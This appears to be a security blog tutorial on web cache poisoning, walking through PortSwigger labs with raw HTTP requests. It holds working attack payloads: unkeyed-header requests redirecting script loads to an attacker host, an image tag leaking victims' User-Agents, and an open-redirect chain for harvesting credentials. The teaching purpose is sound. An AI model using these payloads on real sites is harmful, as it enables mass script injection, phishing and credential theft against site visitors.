# Web

# Attacks



# Cache Poisoning

<h2 id="bkmrk-qu%27est-ce-que-c%27est-">What is it ?</h2>
<p id="bkmrk-cache-poisoning-was-">Cache poisoning was popularized in 2018, although this attack existed long before, as this 2009 <span style="text-decoration: underline;"><a href="https://owasp.org/www-community/attacks/Cache_Poisoning" target="_blank" rel="noopener"><span style="color: #00ccff; text-decoration: underline;">OWASP article</span></a></span> shows.<br>In short, it consists in poisoning the cache that will be served to the next users.<br>This attack can be anecdotal as very powerful, since it couples with other vulnerabilities, such as <strong>XSS</strong> or <strong>Open Redirection</strong>.<br>For example, we can poison a cache with an <strong>XSS</strong>, which will steal the session cookies of all users who will go to a certain page.</p>
<p id="bkmrk-attention%2C-cela-n%E2%80%99es" class="callout info"><span style="font-weight: 400;"><strong>Beware</strong>, this is not to be confused with <strong>Web Cache Deception (WCD)</strong>, which has neither the same methodology nor the same goal.</span></p>
<p id="bkmrk-in-order-to-understa">In order to understand how it works, we need to understand what this attack is based on: the cache.</p>
<p id="bkmrk-the-purpose-of-the-c">The purpose of the cache is to reduce the response time of the web server. It acts as an intermediary between the web server and the client. It allows to save web pages that have been previously requested and then provide them to other clients requesting the same page.<br>There are two important notions that characterize a cache server:</p>
<ul id="bkmrk-the-amount-of-time-a"><li>The amount of time a page is cached</li>
<li>Whether the cached copy will be delivered or whether the request will be transferred to the web server</li>
</ul><p id="bkmrk-here-is-how-the-cach">Here is how the caching and then the distribution of the cache is done :</p>
<p id="bkmrk-"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/hWAlc4rRPvajeu9F-cache_en.png" alt="cache.png" width="1983" height="1242"></p>
<p id="bkmrk-le-header-x-cache%3A-h">The <strong>X-Cache: Hit</strong> header indicates that we have contacted the cache, and the <strong>X-Cache: Miss</strong> directly with the web server.<br>It is in this second case that the cache will be generated, since it will cache<strong> the response returned by the web server</strong>.<br>So, what happens if we manage to inject arbitrary code into the web server's response during an <strong>X-Cache: Miss </strong>?</p>
<p id="bkmrk-%5Bilustration%5D"><span style="font-weight: 400;"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/dFQ4WXOJU4ni9OYE-poison_en.png" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/dFQ4WXOJU4ni9OYE-poison_en.png" alt="poison_en.png"></a> <br></span><span style="font-weight: 400;">If we take advantage of <strong>X-Cache: Miss</strong> to inject our arbitrary code, it will be returned and cached, then distributed to all other visitors, without any interaction required from them!<br>Of course, this cache won't stay forever: it is often defined by the <strong>Cache-Control</strong> header.<br>For example: <strong>Cache-Control: max-age=180</strong> means that the cache will stay 3 minutes, until the next caching.</span></p>
<h3 id="bkmrk-les-cache-keys">Cache keys</h3>
<p id="bkmrk-imagine-two-users-fr">Imagine two users from different countries visiting a certain page, such as the home page of a bank.<br>Given the large number of people visiting the site, in order to serve the visitors faster, the bank decided to set up a cache, this will allow the bank to lighten the requests and not regenerate content for each request as explained before.</p>
<p id="bkmrk-but-then%2C-how-to-det">But then, how to determine which cache to send?<br>We won't send a Polish cache to a French visitor, and that's why <strong>cache keys</strong> are set up.<br>They will simply choose in the request which elements to choose to distribute the cache.<br>In our example, it will simply be a language <strong>cookie</strong> (if there is one), such as <code>lang=fr</code>.<br>It can also be <strong>headers</strong> or <strong>GET request parameters</strong>.</p>
<p id="bkmrk--0"><span style="font-weight: 400;"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/xzNOOSDX352Ya1wO-image1.png" target="_blank" rel="noopener"><img class="align-center" src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/xzNOOSDX352Ya1wO-image1.png" alt="image1.png"></a></span></p>
<h3 id="bkmrk-les-unkeyed-inputs">Unkeyed inputs</h3>
<p id="bkmrk-the-unkeyed-inputs-w">The unkeyed inputs will be our vector of attack during cache poisoning.<br>We consider an unkeyed input, a field that is <strong>not a cache key</strong>, but which is <strong>reflected in the response</strong> or <strong>acts on the response</strong> (like redirecting a page to another one).</p>
<p id="bkmrk-like-cache-keys%2C-the">Like Cache Keys, these can be <strong>headers</strong>, <strong>cookies</strong>, or <strong>GET request parameters</strong>.<br>They can also be chained (i.e. several unkeyed inputs at once), as we'll see in the "Resource hijacking" example.</p>
<p id="bkmrk--1"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/VHj7quo4wH0QmgwO-image-1590065107669.png" target="_blank" rel="noopener"><img class="align-center" src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/VHj7quo4wH0QmgwO-image-1590065107669.png" alt="image-1590065107669.png"></a></p>
<p id="bkmrk-trouver-les-unkeyed-"><span style="font-weight: 400;">Finding unkeyed inputs can be boring, fortunately, to make it easier for us, PortSwigger has concocted a wonderful module : Param Miner.</span></p>
<h4 id="bkmrk-param-miner">Param Miner</h4>
<p id="bkmrk-to-use-it-within-bur">To use it within Burp, it's very simple:</p>
<ul id="bkmrk-install-param-miner-"><li>Install Param Miner and activate it</li>
<li>Right-click on the desired query</li>
<li>Choose whether to search for headers, cookies or GET parameters</li>
<li>Start the scan</li>
<li>You can see the scan live thanks to the Flow module, otherwise go to Extender -&gt; Extensions -&gt; Param Miner -&gt; Output (this can take some time)</li>
</ul><p id="bkmrk-here-is-an-example-o">Here is an example of a Param Miner output:</p>
<pre id="bkmrk-updating-active-thre"><code class="language-Ruby">Updating active thread pool size to 8
Queued 1 attacks
Selected bucket size: 8192 for ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Initiating header bruteforce on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Identified parameter on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net:
x-forwarded-host
Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Completed attack on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net</code></pre>
<p id="bkmrk-on-voit-donc-dans-ce"><span style="font-weight: 400;">We can see in this example that Param Miner has found the <strong>X-Forwarded-Host</strong> header as an <strong>unkeyed input</strong>.</span></p>
<h3 id="bkmrk-cache-buster">Cache buster</h3>
<p id="bkmrk-le-cache-buster-est-"><span style="font-weight: 400;">The cache buster is a parameter that is added in the request to hide only a specific page. Actually, the requested web page and its parameters are cache keys.<br>This allows us not to poison the cache of all visitors during tests.</span></p>
<p id="bkmrk--2"><span style="font-weight: 400;"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/98lMevdoxid7nKiA-image6.png" target="_blank" rel="noopener"><img class="align-center" src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/98lMevdoxid7nKiA-image6.png" alt="image6.png"></a></span></p>
<h3 id="bkmrk-les-headers">Headers</h3>
<p id="bkmrk-pour-que-vous-suivez"><span style="font-weight: 400;">To ensure that you follow this article as closely as possible, here are the headers that we are going to talk about, accompanied by a short description.</span></p>
<p id="bkmrk-concernant-le-cache-"><span style="font-weight: 400;">About the cache :<br></span></p>
<table id="bkmrk-x-cache-indique-si-l" style="height: 213px; width: 100%; border-collapse: collapse;" border="1"><tbody><tr style="height: 46px;"><td style="width: 28.6419%; height: 46px;"><span style="font-weight: 400;">X-Cache</span></td>
<td style="width: 71.3581%; height: 46px;"><span style="font-weight: 400;">Indicates whether the response comes from the cache server (X-Cache: hit) or from the web server (X-Cache: miss).</span></td>
</tr><tr style="height: 35px;"><td style="width: 28.6419%; height: 35px;">
<p><span style="font-weight: 400;">Age</span></p>
</td>
<td style="width: 71.3581%; height: 35px;">Indicates the age of the cache in seconds.</td>
</tr><tr style="height: 125px;"><td style="width: 28.6419%; height: 103px;"><span style="font-weight: 400;">Cache-Control</span></td>
<td style="width: 71.3581%; height: 103px;">
<p><span style="font-weight: 400;">Indicates caching instructions.<br>For example, its lifetime in seconds (max-age), or where the response can be cached<br>(public -&gt; everywhere, private -&gt; in the browser cache).</span></p>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control" target="_blank" rel="noopener"><span style="text-decoration: underline; color: #00ccff;">See more</span></a></p>
</td>
</tr><tr style="height: 29px;"><td style="width: 28.6419%; height: 29px;"><span style="font-weight: 400;">Vary</span></td>
<td style="width: 71.3581%; height: 29px;"><span style="font-weight: 400;">Defines the headers that will serve as cache keys.</span></td>
</tr></tbody></table><p id="bkmrk-autres-%3A">Others :</p>
<table id="bkmrk-x-forwarded-host-per" style="height: 127px; width: 100%; border-collapse: collapse;" border="1"><tbody><tr style="height: 46px;"><td style="width: 28.8888%; height: 46px;"><span style="font-weight: 400;">X-Forwarded-Host</span></td>
<td style="width: 71.1112%; height: 46px;"><span style="font-weight: 400;">Identifies the host initially requested by the client in the Host header of the HTTP request.</span></td>
</tr><tr style="height: 52px;"><td style="width: 28.8888%; height: 52px;"><span style="font-weight: 400;">X-Forwarded-Scheme</span></td>
<td style="width: 71.1112%; height: 52px;"><span style="font-weight: 400;">Similar to </span><span style="text-decoration: underline;"><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Proto" target="_blank" rel="noopener"><span style="font-weight: 400; color: #00ccff; text-decoration: underline;">X-Forwarded-Proto</span></a></span><span style="font-weight: 400;">, it is used to identify the protocol (HTTP / HTTPS) used to connect to the proxy.<br></span></td>
</tr><tr style="height: 29px;"><td style="width: 28.8888%; height: 29px;"><span style="font-weight: 400;">X-Original-Url</span></td>
<td style="width: 71.1112%; height: 29px;"><span style="font-weight: 400;">Indicates the URL initially requested.</span></td>
</tr></tbody></table><h2 id="bkmrk-exemples">Examples</h2>
<p id="bkmrk-nous-allons-maintena"><span style="font-weight: 400;">We will now move on to practice, using PortSwigger's excellent Cache Poisoning <a href="https://portswigger.net/web-security/all-labs" target="_blank" rel="noopener"><span style="text-decoration: underline;"><span style="color: #00ccff; text-decoration: underline;">labs</span></span></a></span> <span style="font-weight: 400;">(there are 6 in total, but we will only skim them to practice the most important aspects of Cache Poisoning).</span><em><span style="font-weight: 400;"><br>For the sake of readability, we have replaced all Exploit Servers URLs with <strong>hideandsec.sh</strong>.</span></em></p>
<h3 id="bkmrk-unkeyed-input-basiqu">Basic unkeyed input</h3>
<p id="bkmrk-in-this-example-we-w">In this example we will see how we can poison a site's cache by injecting our own Javascript code.</p>
<p id="bkmrk-by-using-the-burp-pr">By using the Burp proxy on the home page, we can see the beginning of this answer :</p>
<pre id="bkmrk-http%2F1.1-200-ok-cont"><code class="language-HTML">HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 2
X-Cache: hit
X-XSS-Protection: 0
Content-Length: 10627


&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;link href="/resources/css/labsEcommerce.css" rel="stylesheet"&gt;
        &lt;script type="text/javascript" src="//acb71fdd1e124550803245dc009d00fe.web-security-academy.net/resources/js/tracking.js"&gt;&lt;/script&gt;
        &lt;title&gt;Web cache poisoning with an unkeyed header&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
[...]
</code></pre>
<p id="bkmrk-gr%C3%A2ce-%C3%A0-param-miner%2C"><span style="font-weight: 400;">Thanks to Param Miner, we can find an unkeyed input: <strong>X-Forwarded-Host</strong>.<br>Effectively, by giving it a value we notice that the url of the <span style="color: #00ccff;">tracking.js</span> script changes :</span></p>
<pre id="bkmrk-get-%2F%3Fx%3Dbuster-http%2F"><code class="language-HTML">GET /?x=buster HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Forwarded-Host: hideandsec.sh

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 2
X-Cache: hit
X-XSS-Protection: 0
Content-Length: 10583


&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;link href="/resources/css/labsEcommerce.css" rel="stylesheet"&gt;
        &lt;script type="text/javascript" src="//hideandsec.sh/resources/js/tracking.js"&gt;&lt;/script&gt;
        &lt;title&gt;Web cache poisoning with an unkeyed header&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
[...]
</code></pre>
<p id="bkmrk-bingo-%21-nous-pouvons"><span style="font-weight: 400;">Bingo ! We can poison the cache for 30 seconds for everyone who comes to see this same page !<br>Attention, in order to poison the cache, you have to send the request in order to receive an <strong>X-Cache: miss</strong>, which means that we have sent the request directly to the web server (and not to the cache server), then <strong>X-Cache: hit</strong>, to check that we have poisoned the cache.<br>It's mostly a confirmation, to make sure we don't only have <strong>X-Cache: miss</strong>.</span></p>
<ul id="bkmrk-now-we-have-two-poss"><li id="bkmrk-maintenant-nous-avon"><span style="font-weight: 400;">Now we have two possibilities :<br>Put the url of a web server we own into the<strong> X-Forwarded-Host</strong> with a <span style="color: #00ccff;">/resources/js/tracking.js</span> file in which we can put our own Javascript payload to be loaded by the victims</span></li>
<li><span style="font-weight: 400;">Or inject the Javascript payload directly into the <strong>X-Forwarded-Host</strong> header, but this only works if the server does not filter certain characters.</span></li>
</ul><p id="bkmrk-utilisons-la-premi%C3%A8r"><span style="font-weight: 400;">Let's use the first method.</span><span style="font-weight: 400;"><br></span><span style="font-weight: 400;">Let's put our payload <code>alert(‘oupsi’)</code> in </span><span style="color: #00ccff;">https://hideandsec.sh/resources/js/tracking.js</span><span style="font-weight: 400;">, re-poison the cache and reload the page :<br></span></p>
<p id="bkmrk--3"><span style="font-weight: 400;"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/X7v8jGh7ARtIPedn-image5.png" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/X7v8jGh7ARtIPedn-image5.png" alt="image5.png"></a></span></p>
<p id="bkmrk-et-voil%C3%A0%2C-c%E2%80%99est-auss"><span style="font-weight: 400;">And it's as simple as that, everyone who accesses the site's home page within 30 seconds will get this message.<br>Of course it's possible to inject any Javascript code and thus steal cookies or make a CSRF etc... After that it's like a simple stored XSS.</span></p>
<h3 id="bkmrk-hijacking-de-ressour">Resource Hijacking</h3>
<p id="bkmrk-imaginons-aller-sur-"><span style="font-weight: 400;">Let's imagine going to a web site and receiving this initial response :</span></p>
<pre id="bkmrk-http%2F1.1-200-ok-cont-0"><code class="language-HTML">HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 24
X-Cache: hit
X-XSS-Protection: 0
Connection: close
Content-Length: 10576


&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;link href="/resources/css/labsEcommerce.css" rel="stylesheet"&gt;
        &lt;script type="text/javascript" src="/resources/js/tracking.js"&gt;&lt;/script&gt;
        &lt;title&gt;Web cache poisoning with multiple headers&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;div theme="ecommerce"&gt;
[...]
</code></pre>
<p id="bkmrk-on-peut-voir-%3A"><span style="font-weight: 400;">We can see :</span></p>
<ul id="bkmrk-qu%E2%80%99il-y-a-un-cache%2C-"><li style="font-weight: 400;"><span style="font-weight: 400;">That there is a cache, thanks to the <strong>Cache-Control</strong>, <strong>Age</strong> and <strong>X-Cache</strong> headers</span></li>
<li style="font-weight: 400;"><span style="font-weight: 400;">That he's making us load a “<span style="color: #00ccff;">tracking.js</span>” script.</span></li>
</ul><p id="bkmrk-lan%C3%A7ons-maintenant-l"><span style="font-weight: 400;">Let's now launch Burp Suite's Param Miner extension for bruteforce unkeyed inputs in headers :</span></p>
<pre id="bkmrk-updating-active-thre-0"><code class="language-Ruby">Updating active thread pool size to 8
Queued 1 attacks
Selected bucket size: 8192 for ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Initiating header bruteforce on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Identified parameter on ace61ff21ef38bb68028159d009a000c.web-security-academy.net:
x-forwarded-scheme
Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Completed attack on ace61ff21ef38bb68028159d009a000c.web-security-academy.net</code></pre>
<p id="bkmrk-param-miner-a-trouv%C3%A9"><span style="font-weight: 400;">Param Miner found the <strong>X-Forwarded-Scheme</strong> header to be an <strong>unkeyed input</strong>.<br>Indeed, when we give it any value other than https, like nothttps or http, it returns a <strong>302</strong> Found (Redirection) :</span></p>
<pre id="bkmrk-get-%2F%3Fx%3Dbuster-http%2F-0"><code class="language-HTML">GET /?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 302 Found
Location: https://ace61ff21ef38bb68028159d009a000c.web-security-academy.net/?x=buster
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0</code></pre>
<p id="bkmrk-on-voit-que-le-x-cac"><span style="font-weight: 400;">We can see that the <strong>X-Cache</strong> has the value <strong>Miss</strong>, which means that it has not returned the cache because it has expired (<strong>Age: 0</strong>), that we have managed to communicate with the server and that it has generated the new cache using this response, for a maximum duration of 30 seconds <strong>(max-age=30</strong>).<br>These values concerning the cache can be very useful to develop a small script that will automatically re-poison the cache according to the value of the <strong>Age</strong> header, in our case every 30 seconds.</span></p>
<p id="bkmrk-this-is-a-beginning-"><span style="font-weight: 400;">This is a beginning of </span><span style="text-decoration: underline;"><a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank" rel="noopener"><span style="font-weight: 400; color: #00ccff; text-decoration: underline;">Open Redirection</span></a></span><span style="font-weight: 400;">, </span><span style="font-weight: 400;">but not yet, since it does not redirect to a third host.<br>Luckily we still have the <strong>X-Forwarded-Host</strong> header!</span></p>
<p id="bkmrk-the-x-forwarded-host" style="padding-left: 40px;"><em>The <strong>X-Forwarded-Host </strong>(XFH) header is a de-facto standard header for identifying the original host requested by the client in the <a title="The Host request header specifies the host and port number of the server to which the request is being sent." href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host">Host</a> HTTP request header.</em></p>
<p id="bkmrk-host-names-and-ports" style="padding-left: 40px;"><em>Host names and ports of reverse proxies (load balancers, CDNs) may differ from the origin server handling the request, in that case the X-Forwarded-Host header is useful to determine which Host was originally used.<br></em><em><span style="font-weight: 400;">(From </span></em><span style="text-decoration: underline;"><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host" target="_blank" rel="noopener"><span style="color: #00ccff; text-decoration: underline;"><em><span style="font-weight: 400;">MDN</span></em></span></a></span><em><span style="font-weight: 400;">)</span></em></p>
<p id="bkmrk-il-y-a-donc-des-chan"><span style="font-weight: 400;">Chances are the server will consider our <strong>X-Forwarded-Host</strong> as the host initiating the request, and therefore use it to generate the redirect links :</span></p>
<pre id="bkmrk-get-%2F%3Fx%3Dbuster-http%2F-1"><code class="language-HTML">GET /?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
X-Forwarded-Scheme: nothttps
X-Forwarded-Host: hideandsec.sh

HTTP/1.1 302 Found
Location: https://hideandsec.sh/?x=buster
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0</code></pre>
<p id="bkmrk-succ%C3%A8s-%21le-cache-est"><span style="font-weight: 400;">Success!<br>The cache is now poisoned with Open Redirection on our own server.<br>That's nice, but we can't get very far with that, except by doing </span><span style="text-decoration: underline;"><a href="https://www.malwarebytes.com/phishing/" target="_blank" rel="noopener"><span style="font-weight: 400; color: #00ccff; text-decoration: underline;">phishing</span></a></span><span style="font-weight: 400;">.</span></p>
<p id="bkmrk-heureusement-qu%E2%80%99on-a"><span style="font-weight: 400;">Luckily we have another way to inject code: the <span style="color: #00ccff;">tracking.js</span> file we found at the beginning !</span></p>
<pre id="bkmrk-get-%2Fresources%2Fjs%2Ftr"><code class="language-HTML">GET /resources/js/tracking.js?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net

HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Encoding: gzip
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 29
X-Cache: hit
X-XSS-Protection: 0
Connection: close
Content-Length: 70

document.write('&lt;img src="/resources/images/tracker.gif?page=post"&gt;');</code></pre>
<p id="bkmrk-voici-ce-que-nous-do"><span style="font-weight: 400;">Here is what the request gives us without modification.<br>Let's retry the operation from before with <strong>X-Forwarded-Host</strong> and <strong>X-Forwarded-Scheme</strong> :</span></p>
<pre id="bkmrk-get-%2Fresources%2Fjs%2Ftr-0"><code class="language-HTML">GET /resources/js/tracking.js?x=buster HTTP/1.1
X-Forwarded-Host: hideandsec.sh
X-Forwarded-Scheme: nothttps
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net

HTTP/1.1 302 Found
Location: https://hideandsec.sh/resources/js/tracking.js?x=buster
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0</code></pre>
<p id="bkmrk-a-pr%C3%A9sent%2C-toutes-le"><span style="font-weight: 400;">Now all pages that will load the resource <span style="color: #00ccff;">/resources/js/tracking.js</span> will load it on our own server.<br>Now let's configure the payload.<br></span><span style="font-weight: 400;">For this demonstration, I will just run an alert <code>alert(“Oupsi doupsi”)</code> on the home page of the site.<br></span></p>
<p id="bkmrk-portswigger-nous-pro"><span style="font-weight: 400;">PortSwigger offer us an Exploit Server to do this, so let's put the payload in the file <span style="color: #00ccff;">/resources/js/tracking.js</span> :</span></p>
<p id="bkmrk--4"><span style="font-weight: 400;"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/mWLwrtkTqojmmVQj-image4.png" target="_blank" rel="noopener"><img class="align-center" src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/mWLwrtkTqojmmVQj-image4.png" alt="image4.png"></a></span></p>
<p id="bkmrk-it-is-important-to-r"><span style="font-weight: 400;">It is important to reproduce the path displayed in the redirection, otherwise the browser will not be able to load our payload.</span></p>
<p id="bkmrk-enlevons-notre-cache"><span style="font-weight: 400;">Let's remove our cache buster <code><strong>?x=buster</strong></code> </span><span style="font-weight: 400;">to poison the cache of all users, send back our infected request until we get an <strong>X-Cache: miss</strong>, and watch the result on the browser !</span></p>
<p id="bkmrk--5"><span style="font-weight: 400;"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/fol70oLcaEoGMwwD-image3.png" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/fol70oLcaEoGMwwD-image3.png" alt="image3.png"></a></span></p>
<p id="bkmrk-et-voil%C3%A0%2C-chaque-nou"><span style="font-weight: 400;">That's it, every new user who visits this page will execute our Javascript payload, with no further interaction required from them !<br></span></p>
<h4 id="bkmrk-pour-r%C3%A9sumer"><span style="font-weight: 400;">In summary</span></h4>
<p id="bkmrk-on-a-empoisonn%C3%A9-le-%2F"><span style="font-weight: 400;">We poisoned the <span style="color: #00ccff;">/resources/js/tracking.js</span> by causing a <strong>302</strong> redirection to our own server, then we recreated a fake <span style="color: #00ccff;">/resources/js/tracking.js</span> on our server, by placing our Javascript payload there.<br>Therefore, any user going to this page will load our own <span style="color: #00ccff;">tracking.js</span> because of the <strong>302</strong> redirection.</span></p>
<h3 id="bkmrk-cache-poisoning-cibl"><span style="font-weight: 400;">Targeted Cache Poisoning</span></h3>
<p id="bkmrk-imaginons-maintenant"><span style="font-weight: 400;">Now imagine, during a Red Team mission for example, wanting to target a single person.<br>To do so, the server would have to use cookies specific to a user as a cache key (ex: <strong>User-Agent</strong>, <strong>Session ID</strong>), to poison only the caches that will be returned to that user.<br>For example, we can tell if this is the case when the server returns the "<strong>Vary: User-Agent</strong>" header, but it may be the case even if it doesn't.<br></span><em><span style="font-weight: 400;">Never trust headers.<br></span></em></p>
<p id="bkmrk-prenons-le-cas-d%E2%80%99un-"><span style="font-weight: 400;">Let's take the case of a website that allows you to post comments, using HTML (or that you found an <strong>XSS</strong> on it).<br>You can insert a comment like this :</span></p>
<pre id="bkmrk-%3Ch2%3Eahaha-cool-post-"><code class="language-HTML">&lt;h2&gt;Ahaha cool post ! I love it&lt;/h2&gt;
&lt;img src="hideandsec.sh/thxforyouruseragent" /&gt;</code></pre>
<p id="bkmrk-le-navigateur-va-nat"><span style="font-weight: 400;">The browser will naturally try to load the image, so make a request to our server, with its <strong>User-Agents</strong>.</span></p>
<pre id="bkmrk-172.31.30.141-2020-0"><code class="language-CSS">172.31.30.141   2020-05-09 06:36:41 +0000 "GET /thxforyouruseragent HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"</code></pre>
<p id="bkmrk-jusque-l%C3%A0-rien-d%E2%80%99inc"><span style="font-weight: 400;">So far nothing incredible, but now let's use these <strong>User-Agents</strong> for our cache poisoning on the example before.</span></p>
<pre id="bkmrk-get-%2Fresources%2Fjs%2Ftr-1"><code class="language-HTML">GET /resources/js/tracking.js HTTP/1.1
X-Forwarded-Host: hideandsec.sh
X-Forwarded-Scheme: nothttps
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36

HTTP/1.1 302 Found
Location: https://hideandsec.sh/resources/js/tracking.js
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 0
X-Cache: miss
X-XSS-Protection: 0
Connection: close
Content-Length: 0</code></pre>
<p id="bkmrk-vous-remarquerez-qu%E2%80%99"><span style="font-weight: 400;">You'll notice that we replaced the <strong>User-Agent</strong> with the one we stole.<br>Therefore, if the cache is configured to take in consideration the <strong>User-Agent</strong> as a <strong>cache key</strong>, this redirection will <strong>only</strong> be done on users having this same <strong>User-Agent</strong> (including our target).</span></p>
<h3 id="bkmrk-local-route-poisonin"><span style="font-weight: 400;">Local Route Poisoning</span></h3>
<p id="bkmrk-imaginons-pour-cet-e"><span style="font-weight: 400;">Let's imagine for this example, that after having launched a Param Miner on the headers of a site, we find ourselves with the headers <strong>X-Original-Url</strong> or <strong>X-Rewrite-Url</strong> as</span> <span style="font-weight: 400;"><strong>unkeyed inputs</strong>.</span></p>
<p id="bkmrk-en-plus-du-danger-qu"><span style="font-weight: 400;">In addition to the danger they <span style="text-decoration: underline;"><a href="https://www.acunetix.com/vulnerabilities/web/url-rewrite-vulnerability/" target="_blank" rel="noopener"><span style="color: #00ccff; text-decoration: underline;">represent</span></a></span> (<span style="text-decoration: underline;"><a href="https://cwe.mitre.org/data/definitions/436.html" target="_blank" rel="noopener"><span style="color: #00ccff; text-decoration: underline;">CWE-436</span></a></span>), we can provoke a request that will ask for a page but return another, which will be kept in cache.<br>See this example :<br></span></p>
<pre id="bkmrk-get-%2F-http%2F1.1-host%3A"><code class="language-HTML">GET / HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /admin</code></pre>
<p id="bkmrk-le-site-va-nous-reto"><span style="font-weight: 400;">The site will return us the content of the /admin page, without redirection!<br>So if we inject this request in cache (<strong>X-Cache: Miss</strong> -&gt; <strong>X-Cache: Hit</strong>), all users will receive the content of the <span style="color: #00ccff;">/admin</span> page instead of the home page.</span></p>
<p id="bkmrk-pas-tr%C3%A8s-int%C3%A9ressant"><span style="font-weight: 400;">Not very interesting, you might say, given that we can only use pages from the targeted site, not our own.<br>That's why we have to couple this vulnerability to another one.</span></p>
<h4 id="bkmrk-open-redirection"><span style="font-weight: 400;">Open Redirection</span></h4>
<p id="bkmrk-voici-un-exemple-de-"><span style="font-weight: 400;">Here is an example of what you can do with an Open Redirection :</span></p>
<pre id="bkmrk-get-%2Ftransactions.ph"><code class="language-HTML">GET /transactions.php HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /logout.php?callback=https://hideandsec.sh/transactions.php</code></pre>
<p id="bkmrk-on-demande-%2Ftransact">We ask for <span style="color: #00ccff;">/transactions.php</span>, except that behind it, the server will return <span style="color: #00ccff;">/logout.php?callback=https://hideandsec.sh/transactions.php</span>.</p>
<p id="bkmrk-donc-il-va-d%E2%80%99abord-a"><span style="font-weight: 400;">So it will first go to <span style="color: #00ccff;">logout.php</span>, and in both cases (if the server has an open session or not), it will <strong>redirect to the callback</strong> (our transactions page), whereas if we had made an open redirection to the callback of <span style="color: #00ccff;">login.php</span> and the server has no open session, it would have loaded the login page instead of the callback.</span></p>
<p id="bkmrk-cela-revient-donc-%C3%A0-"><span style="font-weight: 400;">This is therefore equivalent of a <strong>more elaborate phishing</strong>, since no social engineering is required to get a victim to click on a link redirecting to our fake site, and most importantly, all users will be trapped.<br>We will then be able to retrieve all of our victims' <strong>banking data</strong>, and even their <strong>credentials</strong>, by asking them to confirm their password and/or identity during a transaction.</span></p>
<h4 id="bkmrk-xss"><span style="font-weight: 400;">XSS</span></h4>
<p id="bkmrk-pour-escape-cette-re"><span style="font-weight: 400;">To escape this restriction to redirect only to a page of the site concerned, an XSS can be used.<br>Let's imagine an XSS on the page </span><span style="color: #00ccff;">/search?q=&lt;script&gt;alert(“Your site is very secure”)&lt;/script&gt;</span><span style="font-weight: 400;">.<br></span><span style="font-weight: 400;">Once we can inject javascript, we can do a little bit whatever we want, like injecting a keylogger with BeEF, stealing cookies, redirecting to an external site,...</span></p>
